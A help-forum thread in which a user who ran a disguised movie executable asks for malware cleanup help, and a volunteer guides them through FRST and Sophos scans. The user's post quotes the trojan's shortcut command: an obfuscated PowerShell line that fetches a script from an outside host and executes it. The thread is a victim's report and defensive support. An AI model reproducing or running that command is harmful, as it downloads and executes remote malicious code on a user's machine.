Shortcut file trojan

[reikakure]

1,4gb file that happend to be an .exe that replaces some things in other program. I ran 4 scans, 3 in specific places that I thought that might be infected and one full scan that im attaching to this thread. Im not sure that i got it off my pc and I would like some guidence in securing my pc from that specific problem.

 

Quote

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy UnRestricted -Windo 1 $ag=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal s $ag;$nq=((New-Object Net.WebClient)).DownloadString('http://shortbit.xyz/psp');s $nq

I ran it but when I saw that it was program not movie I quickly turned off my pc, launched it again and removed it asap and then running the scans, any help?

Scan.txt

[nasdaq]

Hello, Welcome to Malwarebytes.
I'm nasdaq and will be helping you.

If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.
===

Let see what we can find.

Download the Farbar Recovery Scan Tool (FRST).
Choose the 32 or 64 bit version for your system.
and save it to a folder on your computer's Desktop.
Double-click to run it. When the tool opens click Yes to disclaimer.
Press Scan button.
It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.
The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.

How to attach a file:
In the Reply section in the bottom of the topic Select Click the Choose a File.
Navigate to the location of the File.
Click the file. It will appear in section.
Click the Saving button.

Wait for further instructions
====

If any issues with the computer let me know what.

[reikakure]

@nasdaq

FRST.txt Addition.txt

[nasdaq]

Hi,

Nothing suspicious was found in your logs.

Any issues with the computer?

[reikakure]

@nasdaq not really but if its a trojan im affraid for my passwords etc. hopefuly its clear after scans.

[nasdaq]

Hi,

For your peace of mind run this scan.

Please download Sophos Virus Removal Tool and save it to your computer's Desktop.

• Right-click the icon and select Run as administrator.
• Click Yes to accept any security warnings that may appear.
• Click the Next button.
• Select 'I accept the terms in the license agreement', then click Next twice.
• Click the Install button and wait until the installation is complete.
• Click the Finish button. The tool created a shortcut icon on the Desktop of your computer.
• Now, double-click the Sophos Virus Removal Tool shortcut icon to run the tool.
• Click Yes to accept any security warnings that may appear.
• After it updates and a "Start Scanning" button appears in the lower right:
  
  • Disconnect from the Internet or physically unplug your Internet cable connection.
  • Close all open programs, scheduling/updating tasks and background processes that might activate during the scan including the screensaver.
  • Temporarily disable your anti-virus and real-time anti-spyware protection.
    
  
  
  

Windows Vista and above:
C:\ProgramData\Sophos\Sophos Virus Removal Tool\Logs\SophosVirusRemovalTool.log
 
Please post the contents of the log in your next reply and note any errors encountered.
===

[AdvancedSetup]

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